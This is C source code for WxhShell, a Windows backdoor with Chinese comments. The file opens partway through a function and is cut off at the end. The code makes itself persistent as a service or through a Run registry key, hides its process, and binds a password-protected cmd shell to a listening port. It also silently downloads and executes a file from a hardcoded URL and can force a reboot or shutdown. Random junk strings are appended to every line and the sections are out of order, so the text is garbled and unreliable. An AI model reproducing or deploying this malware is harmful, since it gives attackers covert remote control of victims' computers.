  case 'd': { -2% [ ]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KZ/}Iy>As  
    if(Boot(SHUTDOWN)) T3'dfe U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3Ltk 2<  
    else { q;>'jHh  
    closesocket(wsh); g>VkQos5"  
    ExitThread(0); `P : -a7_  
    } m(*CuM[E  
    break; _W]3_1Lu  
    } mgH4)!Z*56  
  // 获取shell Tvf]OJ9N  
  case 's': { 6 `X#<#_&  
    CmdShell(wsh); CO4*"~']t  
    closesocket(wsh); j&Z:|WniK  
    ExitThread(0); i>b^n+74>  
    break; BR"*-$u0;  
  } /F/`?=1<$  
  // 退出 15Yy&9D  
  case 'x': { *k=Pk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JMO"(?  
    CloseIt(wsh); V , )kw{](  
    break; Z{u*vUC&  
    } VpTp*[8O  
  // 离开 ]J_Dn\  
  case 'q': { 2E=E!Zwt_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); < 8WS YZ  
    closesocket(wsh); s&8QRI.  
    WSACleanup(); ?z Ms;  
    exit(1); `9b D%M  
    break; <(s+  
        } s{< rc>  
  } MEq ()}7P  
  } }{]{`\  
$zxCv7  
  // 提示信息 U/0NN>V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "QGP]F  
} fv<($[0  
  } f8'&(-  
`|v0@-'$  
  return; N \A)P  
} 5vg@zH\z  
]7'Q2OU7  
// shell模块句柄 }ndH|,  
int CmdShell(SOCKET sock) I:AlM ?  
{ NWX~@Rg  
STARTUPINFO si;  LDwu?"P!  
ZeroMemory(&si,sizeof(si)); I?l*GO+pz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >$HMZbsE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a/`fJY6rR  
PROCESS_INFORMATION ProcessInfo; pwU]r  
char cmdline[]="cmd"; Y @pkfH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7m@pdq5Ub  
  return 0; "+Xwc+v^  
} ad i5h  
%Cb8vYz~  
// 自身启动模式  :jB(!XH  
int StartFromService(void) s+Ln>c'|o  
{ B>AIec\jG  
typedef struct ?ew^%1!W.  
{ f,`FbT  
  DWORD ExitStatus; 3cQTl5,  
  DWORD PebBaseAddress; CaZEU(i  
  DWORD AffinityMask; Tje =vI  
  DWORD BasePriority; VY~WkSi[<  
  ULONG UniqueProcessId; 1sn!!  
  ULONG InheritedFromUniqueProcessId; v_)cp9d]  
}   PROCESS_BASIC_INFORMATION; 6mMJ$FY+  
q& 4Z.(  
PROCNTQSIP NtQueryInformationProcess; t(Iy[-  
\!z=x#!O$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :vX;>SH$p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8=)A ksu  
B^$l]cvZ  
  HANDLE             hProcess; SZvw>=)a  
  PROCESS_BASIC_INFORMATION pbi; )p12SGR5  
=NyzX&H6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @oYTJd(v{  
  if(NULL == hInst ) return 0; >:Q:+R;3o  
s( 2=E|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |~v($c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j!:U*}f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #@lr$^M  
M}/%t1^g:  
  if (!NtQueryInformationProcess) return 0; cGOE$nL  
<Hm:#<\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?CL1^N%  
  if(!hProcess) return 0; Jg;Hg[  
i!YZF$|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +zz9u?2C`  
>JCSOI  
  CloseHandle(hProcess); Odw SNG  
+<bq@.x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~~ )&? \N  
if(hProcess==NULL) return 0; >,hJ5-9  
XD%?'uUQ_  
HMODULE hMod; HRx#}hN?+  
char procName[255]; P{QRmEE  
unsigned long cbNeeded; nb0<.ICF%R  
5g/^wKhKG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K2:r7f  
dA\>z[n=  
  CloseHandle(hProcess); rYN`u  
k_O"bsI)  
if(strstr(procName,"services")) return 1; // 以服务启动 j(Q$frI  
?uQ|?rk  
  return 0; // 注册表启动 UY%@i  
} a,&Kvh  
K<Ct  
// 主模块 vlzjALy  
int StartWxhshell(LPSTR lpCmdLine) J8? 6yd-7  
{ ;hd> v&u#  
  SOCKET wsl; `2r21rVntf  
BOOL val=TRUE; Ldir'FW  
  int port=0; ?xUz{O0/  
  struct sockaddr_in door; A[+op'>k  
/1n}IRuw  
  if(wscfg.ws_autoins) Install();  LFGu|](  
,,BNUj/:  
port=atoi(lpCmdLine); T']*h8  
NF&\<2kX  
if(port<=0) port=wscfg.ws_port; ~R!(%j ]  
O aF+Z@s  
  WSADATA data; rYm<U!k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !4.;Ftgjn  
?:n{GK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tGM)"u-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Of([z!'Gc  
  door.sin_family = AF_INET; Ie4*#N_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l*%voKZG  
  door.sin_port = htons(port); 4Z]^v4vb  
 4uU(t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =bv8W < #  
closesocket(wsl); q. BqOa:  
return 1; yFJ(b%7  
} B#EF/\5  
t*.v!   
  if(listen(wsl,2) == INVALID_SOCKET) { du'$JtZo  
closesocket(wsl); 9R.tkc|K  
return 1; e$F7wto  
} ]V.9jlXF  
  Wxhshell(wsl); m{+lG*  
  WSACleanup(); rw+0<r3|K  
Q&M(wnl5  
return 0; /0SPRf}p  
6LvUi|~"<  
} YWq[)F@0G  
`4;<\VYCr  
// 以NT服务方式启动 K<+AJ(C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) * k =L  
{ :Q\h'$C  
DWORD   status = 0; to:hMd1T  
  DWORD   specificError = 0xfffffff; *jA%.F  
Hyee#fB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;y5cs;s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I X\&lV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?>lmLz!e  
  serviceStatus.dwWin32ExitCode     = 0; f<kL}B+,Og  
  serviceStatus.dwServiceSpecificExitCode = 0; <;U"D.'  
  serviceStatus.dwCheckPoint       = 0; cJE2z2uW0  
  serviceStatus.dwWaitHint       = 0; `5GJ,*{z  
YT&_{nL#\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $V5Ol6@ 2  
  if (hServiceStatusHandle==0) return; ap;UxWqx  
mT-5Ok&TUe  
status = GetLastError(); 8^< -;  
  if (status!=NO_ERROR) uc7Y8iO  
{ DO( /,A<{8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B8a!"AQ~5  
    serviceStatus.dwCheckPoint       = 0; zh50]tX  
    serviceStatus.dwWaitHint       = 0; R 8Iac[N  
    serviceStatus.dwWin32ExitCode     = status; V TEyqo2  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,LzS"lmmo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #3/l4`/j  
    return; gVq{g,yi  
  } !+fHdB  
UI;!_C_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <w2Nh eM 3  
  serviceStatus.dwCheckPoint       = 0; 9 lA YCsX  
  serviceStatus.dwWaitHint       = 0; ?hDEFW9&^x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ud{-H_m+  
} c#{<| .  
r-Dcc;+=Q  
// 处理NT服务事件,比如:启动、停止 !uHI5k,f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ih~c(&n0  
{ -F5U.6~`!  
switch(fdwControl) 4r5,kOFWb  
{ typ*.j[q  
case SERVICE_CONTROL_STOP: QAb[M\G  
  serviceStatus.dwWin32ExitCode = 0; ^OA}#k NTW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *xLMs(gg  
  serviceStatus.dwCheckPoint   = 0; KJ pM?:  
  serviceStatus.dwWaitHint     = 0; wlKL|N  
  { .!9]I'9M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 53(m9YLk  
  } AHZ6  
  return; #c!(97l6o  
case SERVICE_CONTROL_PAUSE: L<Lu;KnY6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rxDule3m  
  break; v3]q2*`G#  
case SERVICE_CONTROL_CONTINUE: E176O[(V=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nw|Lrn*h!  
  break; j83p[qR7o  
case SERVICE_CONTROL_INTERROGATE: G_AAE#r`  
  break; Ogjjjy84vM  
}; &"^A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Ba^Igb}  
} /!%P7F  
MGmtA(  
// 标准应用程序主函数 K7_)!=DcX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _Yh4[TT~/  
{ 5h20\b?=$  
/n"A%6S  
// 获取操作系统版本 .vT'hu  
OsIsNt=GetOsVer(); ?94da4p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m9PcDhv  
Js=|r;'  
  // 从命令行安装 ;G},xDGO_m  
  if(strpbrk(lpCmdLine,"iI")) Install(); p.l]% \QI  
FAQ:0 L$G  
  // 下载执行文件 ?T4%"0  
if(wscfg.ws_downexe) { I1}{7-_t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %@BQv 4oJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); FG8bP  
} Bj]0Cz  
o[cKh7&+  
if(!OsIsNt) { -rH3rKtf~  
// 如果时win9x,隐藏进程并且设置为注册表启动 p>!r[v'  
HideProc(); a .] !  
StartWxhshell(lpCmdLine); aa".d[*1  
} XhIgzaGVu  
else ^ePSI|EW  
  if(StartFromService()) 0kiW629o  
  // 以服务方式启动 Rw. Uz&  
  StartServiceCtrlDispatcher(DispatchTable); 3]c<7vdl  
else ~F' $p  
  // 普通方式启动 Ws1<Jt3/."  
  StartWxhshell(lpCmdLine); Jk1U p2#B  
#lB[]2]N  
return 0; _;@kS<\N  
} <B`=oO%o  
n%?g+@y,^  
_nTjCN625  
H%sQVE7m  
=========================================== v4ueFEY  
liU=5 BL  
Stp??  
uvmNQg  
iT|+<h  
Ak9W8Z}  
" 4ErDGYg}  
)FHaJ*&d  
#include <stdio.h> R=9j+74U  
#include <string.h> Jl9T[QAJn1  
#include <windows.h> zD?$O7 |ZK  
#include <winsock2.h> \T[*|"RFZ  
#include <winsvc.h> chiQ+  
#include <urlmon.h> c9'#G>&h~^  
IXg${I}_Q  
#pragma comment (lib, "Ws2_32.lib") glv(`cQ  
#pragma comment (lib, "urlmon.lib") S`*al<m  
'Lm.`U  
#define MAX_USER   100 // 最大客户端连接数 mS );bs  
#define BUF_SOCK   200 // sock buffer hyTi':  
#define KEY_BUFF   255 // 输入 buffer UPgZj\t%{  
G A7  
#define REBOOT     0   // 重启 ~XZ1,2jA/  
#define SHUTDOWN   1   // 关机 @FbzKHdV/  
]T*{M  
#define DEF_PORT   5000 // 监听端口 \ _i`=dx  
[S<DdTY9hZ  
#define REG_LEN     16   // 注册表键长度 i;\i4MT  
#define SVC_LEN     80   // NT服务名长度 Z,d/FC#y(  
@*c+`5)_  
// 从dll定义API Lv_6Mf(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8XY4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q% dpGI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Bmjz*%M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )v|a:'%K_  
Ne#nSx5,  
// wxhshell配置信息 S>*T&K  
struct WSCFG { nxH$$}9  
  int ws_port;         // 监听端口 r^ "mPgY  
  char ws_passstr[REG_LEN]; // 口令 c/hml4  
  int ws_autoins;       // 安装标记, 1=yes 0=no P!vBS "S  
  char ws_regname[REG_LEN]; // 注册表键名 3s|tS2^4  
  char ws_svcname[REG_LEN]; // 服务名 -({\eL$n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 95H`-A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $OUa3!U_!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f?{Y<M~]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ", |wG7N K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V)0bLR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HSUr  
qGh rJ6R!  
}; @*_K#3  
g`Rs;  
// default Wxhshell configuration Xpa;F$VI  
struct WSCFG wscfg={DEF_PORT, ,O-lDzcw  
    "xuhuanlingzhe", !~mN"+u&  
    1, F`ihw[ Wn  
    "Wxhshell", dyx 4_!fO  
    "Wxhshell", Q \{\u J x  
            "WxhShell Service", =T\pq8  
    "Wrsky Windows CmdShell Service", _WSJg1  
    "Please Input Your Password: ", X0U6:  
  1, L@2H>Lh35  
  "http://www.wrsky.com/wxhshell.exe", s@ q54  
  "Wxhshell.exe" ec3('}X  
    }; ):\ pD]e  
[XQNgSy?z  
// 消息定义模块 m?m,w$K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qQom=x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w?5b:W,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /vQ^>2X%  
char *msg_ws_ext="\n\rExit."; |Jq/kmn  
char *msg_ws_end="\n\rQuit."; >kB?C!\  
char *msg_ws_boot="\n\rReboot..."; QUe.vb^O  
char *msg_ws_poff="\n\rShutdown..."; ck@[% ?  
char *msg_ws_down="\n\rSave to "; oOD|FrlY  
*%fOE;-?  
char *msg_ws_err="\n\rErr!"; m83i6"!H  
char *msg_ws_ok="\n\rOK!"; :WxMv~e{U  
KS| $_-7 u  
char ExeFile[MAX_PATH]; Y0b.utR&  
int nUser = 0; `Y[zF1$kz^  
HANDLE handles[MAX_USER]; M9N|Ql  
int OsIsNt; _{ba  
o?X\,}-s  
SERVICE_STATUS       serviceStatus; gr S,PKH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :4Y|%7[  
fDRQ(}  
// 函数声明 nBD7  
int Install(void); 2?"9NQvz  
int Uninstall(void); G?"1 z;  
int DownloadFile(char *sURL, SOCKET wsh); x7*}4>|W,I  
int Boot(int flag); \fKv+  
void HideProc(void); i$F)h<OU+  
int GetOsVer(void); $6J5yE  
int Wxhshell(SOCKET wsl); '2 )d9_ w  
void TalkWithClient(void *cs); c^=:]^  
int CmdShell(SOCKET sock); >?DrC/  
int StartFromService(void); NKMB,b  
int StartWxhshell(LPSTR lpCmdLine); wHY;Y-(ZT  
9S<W~# zz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D!-zQ`^  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  <Nw?9P  
W35nnBU  
// 数据结构和表定义 Zkz:h7GUG-  
SERVICE_TABLE_ENTRY DispatchTable[] = @&~BGh  
{ mDq0 1fU4  
{wscfg.ws_svcname, NTServiceMain}, bWyXDsr+  
{NULL, NULL} :*8@Mj Z4  
}; xL!05du  
HN3 yA1<[V  
// 自我安装 jt]+(sx  
int Install(void) Te.hXCFD  
{ SZ0Zi\W  
  char svExeFile[MAX_PATH]; 5I<?HsK@  
  HKEY key; F>}).qx  
  strcpy(svExeFile,ExeFile); O+e8}Tmm  
\ 0CGS  
// 如果是win9x系统,修改注册表设为自启动 `\qU.m0(j  
if(!OsIsNt) { ?ph"|LyL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MKH7d/x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '1mygplW  
  RegCloseKey(key); &?9.Y,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EU\1EBT^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *$s)p>  
  RegCloseKey(key); eHjR/MMr_  
  return 0; [&39Yv.k,7  
    } Fq{nc]L6  
  } g\^(>Ouc  
} xE9s=}  
else { INkrG.=u  
"W1q}4_  
// 如果是NT以上系统,安装为系统服务 =DqGm]tA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cAL&>T  
if (schSCManager!=0) m\VJ=  
{ \myj Y  
  SC_HANDLE schService = CreateService N-NwGD{  
  ( )HU?7n.{  
  schSCManager, ~\Ynih  
  wscfg.ws_svcname, CtE".UlCA  
  wscfg.ws_svcdisp, zL_X?UmV  
  SERVICE_ALL_ACCESS, d~n+Ds)%F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6\]-J*e>  
  SERVICE_AUTO_START, 0)84Z.k  
  SERVICE_ERROR_NORMAL, .*,Zh2eXU  
  svExeFile, ;ndg,05_  
  NULL, L%BWrmg  
  NULL, GY4yZa  
  NULL, e;gf??8}  
  NULL, ))MP]j9 T  
  NULL BY 1~\M  
  ); S#""((U$  
  if (schService!=0) bLUn0)c  
  { hMDyE.X-  
  CloseServiceHandle(schService); D_8hn3FH  
  CloseServiceHandle(schSCManager); k4`v(au^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9 np<r82  
  strcat(svExeFile,wscfg.ws_svcname); W]R5\ G*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gG $o8c-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `&+ L/  
  RegCloseKey(key); /wK7l-S  
  return 0; hqE#BnQxP,  
    } +wio:==  
  } ?Z.YJXoKZ  
  CloseServiceHandle(schSCManager); JlH|=nIaj6  
} } K Ou  
} WTd}) s  
A8A+ImwO"  
return 1; uIba{9tM"P  
} RJ-CWt [LG  
*}0Q S@FN  
// 自我卸载 1]kk  
int Uninstall(void) a`{'u)@  
{ ;1y\!f3#V~  
  HKEY key; sG}9l1  
O_:Q#  
if(!OsIsNt) { 3 C[ ;2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $iB(N ZV  
  RegDeleteValue(key,wscfg.ws_regname); q&wMp{  
  RegCloseKey(key); 5jV]{ZV#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AHLDURv  
  RegDeleteValue(key,wscfg.ws_regname); !YoKKG~_0  
  RegCloseKey(key); 7eq;dNB@gq  
  return 0; YvU#)M_h  
  } Oq.) 8E.  
} E+>;tLw3j  
} C= Zuy^  
else { Nd0Wt4=  
weDv[b5i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }\irr9,  
if (schSCManager!=0) 5<S1,u5  
{ 6jnRC*!?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (z.Vwl5  
  if (schService!=0) G9gvOEI/  
  { \2LCpN  
  if(DeleteService(schService)!=0) { c.XLEjV|  
  CloseServiceHandle(schService); @e slF  
  CloseServiceHandle(schSCManager); I4)vJ0  
  return 0; Obd!  
  } Rp|:$5&nE  
  CloseServiceHandle(schService); "C.$qk]  
  } _%>.t  
  CloseServiceHandle(schSCManager); !]`]67lC  
} 6 tzn% ?  
} O8lOr(|l  
!P;qc  
return 1; 6z(_^CY  
} \jfW$TtZm  
`ybZE+S.  
// 从指定url下载文件 iUO5hdOM  
int DownloadFile(char *sURL, SOCKET wsh) l%)XPb2$J  
{ cbIW>IbM  
  HRESULT hr; :Rq D0>1  
char seps[]= "/"; *R:nB)(6<  
char *token; 5|/vc*m_0'  
char *file; :1s1wY3Y  
char myURL[MAX_PATH]; /)G9w]|T  
char myFILE[MAX_PATH]; 7z$+ *]9-  
v:+se6HY?p  
strcpy(myURL,sURL); 4SOj>(a#  
  token=strtok(myURL,seps); ]F_u  
  while(token!=NULL) S !e0 :  
  { !F%dE!  
    file=token; 0 Hq$h  
  token=strtok(NULL,seps); 9 (&!>z  
  } kfHLjr.  
Oll\T GXP!  
GetCurrentDirectory(MAX_PATH,myFILE); 7j]@3D9[:p  
strcat(myFILE, "\\"); {k)MC)%  
strcat(myFILE, file); cEN^H  
  send(wsh,myFILE,strlen(myFILE),0); @GEvI2Vf.0  
send(wsh,"...",3,0); yWs/~5[F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }`eeItI+  
  if(hr==S_OK) 9*x9sfCv9  
return 0; &Y,Rm78  
else Z# :Ww  
return 1; @!Pq"/  
)Y:CV,`  
} z6Hl+nq B  
#a0 (Wh7  
// 系统电源模块 /RMep8 &  
int Boot(int flag) "#OmmU<U  
{ ]l\J"*"aB  
  HANDLE hToken; 4]g^aaQFd>  
  TOKEN_PRIVILEGES tkp; vz _U  
QOOBCNe  
  if(OsIsNt) { 9:m+mpL=9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6tJM*{$$H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0lEIj/u  
    tkp.PrivilegeCount = 1; 3j3AI 7c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9K&b1O@Aj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yb]a p  
if(flag==REBOOT) { O[m+5+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +Y \#'KrA  
  return 0; e]5QqM7  
} e5AiIVlv  
else { I7}[%(~Sf/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]02V,'x  
  return 0; HH]LvK  
} 5-sxTp  
  } \;sUJr"$  
  else { S5XFYQ  
if(flag==REBOOT) { .z9JoQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #A|M NJ%m  
  return 0; |5W u0T  
} 5zU D W?  
else { ;\H2U .  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -W oZwqh  
  return 0; #\"5:.H Oz  
} )QKZI))G0  
} a]Lr<i8#%  
YlYTH_L>E  
return 1; 3}sd%vCK  
} APF-*/K?  
1p tPey  
// win9x进程隐藏模块 @Pa ;h  
void HideProc(void) F Pu,sz8  
{ \:Nbl<9(9  
[3\}Ca1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ul:jn]S*  
  if ( hKernel != NULL ) m*(8I=]q  
  { ed617J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]v+\v re  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -Z#A}h  
    FreeLibrary(hKernel); wWH5T}\  
  } 8L&#<Ol  
X2EC+<  
return; &< ~`?-c  
} jfI|( P  
toP7b  
// 获取操作系统版本 @NNN&%  
int GetOsVer(void) m7d? SU  
{ (l$bA_F \  
  OSVERSIONINFO winfo; X09& S4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x&7!m  
  GetVersionEx(&winfo); ?{+}gS^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1_F2{n:yp  
  return 1; x&kF;UC  
  else fghJj@ES  
  return 0; n0cqM}P@;!  
} O6m}#?Ai/@  
C^ uXJ~8  
// 客户端句柄模块 pE`BB{[@  
int Wxhshell(SOCKET wsl) hnyZXk1|  
{ p^^<BjkQ  
  SOCKET wsh; R@ihN?k  
  struct sockaddr_in client; mH;\z;lyK  
  DWORD myID; `i<U;?=0'  
<Nkj)`%5iK  
  while(nUser<MAX_USER) QupCr/Hs  
{ `~gyq>Ik2  
  int nSize=sizeof(client); ['{mW4i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]r|X[9  
  if(wsh==INVALID_SOCKET) return 1; >8QLo8)3C  
VJm).>E3k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y68oBUd_E  
if(handles[nUser]==0) P0|V1,)  
  closesocket(wsh); h19c*,0z!  
else P)Sw`^d  
  nUser++; `vUilh ^c  
  } z#*fELV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EdLbVrN,  
Z+E@B>D7A^  
  return 0; r IY_1  
} p'!cGJL  
qWy(f|:hYi  
// 关闭 socket V|DAw[!6N  
void CloseIt(SOCKET wsh) iz& )FuOr  
{ s )\%%CM  
closesocket(wsh); xa??OT`(  
nUser--; fyh9U_M);w  
ExitThread(0); |&3[YZY  
} gP? pfFhG  
a! ]'S4JS  
// 客户端请求句柄 ([^1gG+>J  
void TalkWithClient(void *cs) +H8]5~',L%  
{ 8L^5bJ  
(xy/:i".V  
  SOCKET wsh=(SOCKET)cs; REli`"bR  
  char pwd[SVC_LEN]; h# B%'9r  
  char cmd[KEY_BUFF]; ,A4v|]kq]  
char chr[1]; '0lX;z1  
int i,j; j0>Q:hn  
]*D=^kA0[  
  while (nUser < MAX_USER) { COZ<^*=A#p  
8.bdN]zn  
if(wscfg.ws_passstr) {  lEh;MJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3* 1cCM42  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S&q@M  
  //ZeroMemory(pwd,KEY_BUFF); Mnc9l ^  
      i=0; b:SjJA,HM  
  while(i<SVC_LEN) { nd}[X[ay  
Il`35~a  
  // 设置超时 =# <!s!  
  fd_set FdRead; JgEPzHgx  
  struct timeval TimeOut; ">@]{e*  
  FD_ZERO(&FdRead); K)QM xn  
  FD_SET(wsh,&FdRead); 0NL~2Qf_4  
  TimeOut.tv_sec=8; C|*U)#3:F  
  TimeOut.tv_usec=0; W9+H /T7!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I r]#u]Ap  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OWx-I\:  
j]Kpwf<NS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3MH9%*w'0  
  pwd=chr[0]; Zi/ tax9C  
  if(chr[0]==0xd || chr[0]==0xa) { u $O` \=  
  pwd=0; ~=67#&(R  
  break; bnIl@0Y  
  } &e0BL z  
  i++; m&a.i B  
    } W US[hx,  
H|JPqBNRh  
  // 如果是非法用户,关闭 socket TF R8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G)t_;iNL|  
} o<cg9  
1DLAfsLlj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6V-u<FJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H65><38X/  
>pdWR1ox  
while(1) { `\_>P@qz  
M#Kke9%2  
  ZeroMemory(cmd,KEY_BUFF); 4z%::?  
l1HMH?0|  
      // 自动支持客户端 telnet标准   _Wg?H:\  
  j=0; 'guXdX]Gu  
  while(j<KEY_BUFF) { 3CcCcZ9I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h}0}g]IUx  
  cmd[j]=chr[0]; o^+2%S`]  
  if(chr[0]==0xa || chr[0]==0xd) { 2@~.FBby7@  
  cmd[j]=0; !LJEo>D  
  break; u a%@Ay1|  
  } ,Pi!%an w  
  j++; sE:~+C6o:  
    } H{ M7_1T  
G5A:C(r  
  // 下载文件 Jui:Ms  
  if(strstr(cmd,"http://")) { }$%j}F{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BA(erf>  
  if(DownloadFile(cmd,wsh)) GBeWF-`B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *uW l 804  
  else 7qsu0 .[d  
